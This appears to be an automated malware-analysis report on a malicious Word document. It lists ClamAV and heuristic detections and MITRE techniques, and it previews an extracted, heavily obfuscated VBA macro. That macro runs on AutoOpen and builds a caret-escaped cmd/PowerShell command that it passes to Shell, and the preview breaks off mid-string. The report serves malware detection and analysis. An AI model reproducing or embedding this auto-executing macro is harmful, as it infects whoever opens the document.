MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening. The macro appears to be obfuscated and truncated, but its presence and the critical ClamAV detection strongly indicate malicious intent. The macro's primary function is likely to download and execute a second-stage payload, although the exact mechanism is obscured.
Heuristics 5
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ClamAV: Doc.Malware.Valyria-7147058-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-7147058-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7677 bytes |
SHA-256: d87c0511a6e02113177b5f0f8e57ac95dcc0530e556d73ebfc63d3a9fdd1be7e |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "sUZWPYIlz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim tJAnG()
ReDim tJAnG(2)
tJAnG(0) = Right(sFDYzBw, 495)
tJAnG(1) = Left(JHEwzYlY, 296)
Dim DQjdu()
ReDim DQjdu(4)
DQjdu(0) = "djduRjClji"
DQjdu(1) = "oDbGlzUTwc"
DQjdu(2) = Right(avSbTnjl, 274)
DQjdu(3) = MidB(JIdzn, 867, 127)
Dim ilBnsV()
ReDim ilBnsV(3)
ilBnsV(0) = Mid(OwKjM, 755, 304)
ilBnsV(1) = Right(nBuiEqGf, 315)
ilBnsV(2) = Left(XBIlHkku, 227)
Dim YGAFH()
ReDim YGAFH(2)
YGAFH(0) = Mid(ASQLKw, 100, 785)
YGAFH(1) = Right(hcpMO, 45)
Dim jfvwG()
ReDim jfvwG(4)
jfvwG(0) = Right(GNwscQTv, 253)
jfvwG(1) = Mid(wnRUCq, 248, 63)
jfvwG(2) = MidB(tGQQIqzZ, 805, 321)
jfvwG(3) = "MWuUKzL"
ShRwouXjFi (KeyString(2 + 2 + 8 + 10 + 45) + KPYhaNRHh + mlPWObldNs + JMrpzqCfqiinH)
Dim lioTJ()
ReDim lioTJ(3)
lioTJ(0) = MidB(JRuFXo, 50, 936)
lioTJ(1) = Mid(SuBHjnQ, 239, 398)
lioTJ(2) = Right(DKHdhzOZ, 604)
Dim wKEfJa()
ReDim wKEfJa(3)
wKEfJa(0) = "HUBut"
wKEfJa(1) = Mid(MwcXGU, 240, 635)
wKEfJa(2) = Left(UAUBziI, 126)
End Sub
Function ShRwouXjFi(avmiNLJJvE As String)
Dim Fmswt()
ReDim Fmswt(4)
Fmswt(0) = "OiDmLEzMHvOFV"
Fmswt(1) = "SbjIkXWDLrYkD"
Fmswt(2) = Left(AQJoTM, 897)
Fmswt(3) = Right(TCupRWo, 768)
Dim cSKzC()
ReDim cSKzC(4)
cSKzC(0) = Left(bEjwYO, 589)
cSKzC(1) = Left(GzvcVVTd, 112)
cSKzC(2) = MidB(CnMGJ, 278, 446)
cSKzC(3) = Left(FuRjwjkz, 708)
Dim PUriDj()
ReDim PUriDj(3)
PUriDj(0) = Right(WWLSLO, 514)
PUriDj(1) = "i"
PUriDj(2) = MidB(rlZmI, 16, 657)
Shell@ avmiNLJJvE, CInt(msoBarTypeNormal)
Dim uhojhj()
ReDim uhojhj(2)
uhojhj(0) = Mid(AfdKZO, 541, 537)
uhojhj(1) = "frjpH"
Dim uFAOX()
ReDim uFAOX(3)
uFAOX(0) = Mid(jVjdWM, 497, 505)
uFAOX(1) = Left(qjRInTpn, 191)
uFAOX(2) = "CvFGTJWVUURVwu"
Dim wQoBrX()
ReDim wQoBrX(2)
wQoBrX(0) = MidB(ZOzfiZP, 146, 822)
wQoBrX(1) = Left(hqnGt, 177)
Dim FRBqiL()
ReDim FRBqiL(3)
FRBqiL(0) = "pSRRztvFRqSVaa"
FRBqiL(1) = Right(PUzrEG, 614)
FRBqiL(2) = Mid(mWSFOX, 721, 383)
Dim zXWEd()
ReDim zXWEd(5)
zXWEd(0) = Right(jCHrWzq, 758)
zXWEd(1) = "jTIitlzQnFOYb"
zXWEd(2) = MidB(cHXzi, 818, 184)
zXWEd(3) = "ctWv"
zXWEd(4) = Right(Dirflbm, 201)
End Function
Attribute VB_Name = "dDRAGiwOFHAi"
Function KPYhaNRHh()
Dim rvJwo()
ReDim rvJwo(2)
rvJwo(0) = Right(zpkQp, 766)
rvJwo(1) = MidB(VXokm, 827, 82)
Dim NLWtTb()
ReDim NLWtTb(4)
NLWtTb(0) = "VKGzlcSWTDs"
NLWtTb(1) = Mid(LXSzdW, 209, 731)
NLWtTb(2) = "VEvj"
NLWtTb(3) = Right(SMqwVLkl, 798)
Dim vcnCt()
ReDim vcnCt(3)
vcnCt(0) = "lUwbvaCVOi"
vcnCt(1) = "YLOK"
vcnCt(2) = MidB(GcQfPj, 474, 311)
Dim lNTAJ()
ReDim lNTAJ(3)
lNTAJ(0) = Right(EwwsM, 216)
lNTAJ(1) = Right(VSVHijGv, 520)
lNTAJ(2) = Mid(NXsYpRXc, 679, 667)
aXBDT = "md /V^:/C" + ChrW(5 + 2 + 1 + 0 + 26) + "^" + "s" + "e^t ^U^" + "Ij= ^ ^ ^" + " ^ ^ " + " ^ ^ ^ ^" + " }^}" + "^{^" + "hct" + "^" + "ac};k^aer^"
Dim UAwIv()
ReDim UAwIv(2)
UAwIv(0) = Mid(fzRFuLt, 444, 170)
UAwIv(1) = MidB(YAFKTnKF, 621, 413)
Dim fZhOvL()
ReDim fZhOvL(4)
fZhOvL(0) = MidB(KnFab, 308, 621)
fZhOvL(1) = Right(NSiFzCu, 261)
fZhOvL(2) = Left(ztwhqscZ, 892)
fZhOvL(3) = Right(TsXfPhVw, 44)
Dim dunHw()
ReDim dunHw(4)
dunHw(0) = "BPkilLsPCNT"
dunHw(1) = Mid(udBhRM, 763, 801)
dunHw(2) = "OYcEsuPVzLZ"
dunHw(3) = Right(FaJJTijf, 315)
wWQnPPvcq = "b" + ";r^w^B^$^ m" + "etI-ek" + "^ovn^I;)rw^" + "B$"
Dim dHpYv()
ReDim dHpYv(2)
dHpYv(0) = Mid(aTHAnrI, 511, 868)
dHpYv(1) = "ctDCu"
Dim kPZWEp()
ReDim kPZWEp(2)
kPZWEp(0) = MidB(IzrmSYRS, 193, 39)
kPZWEp(1) = "ntpZAiSsjDRD"
Dim CrXziH()
ReDim CrXziH(2)
CrXziH(0) = Right(VBEaa, 703)
CrXziH(1) = MidB(raWkF, 730, 94)
Dim BtpPC()
ReDim BtpPC(3)
BtpPC(0) = MidB(JSHCSm, 637, 464)
BtpPC(1) = Mid(wMwimni, 2, 166)
BtpPC(2) = "lThR"
wcuLQVEZdWz = "^ ,
... (truncated)
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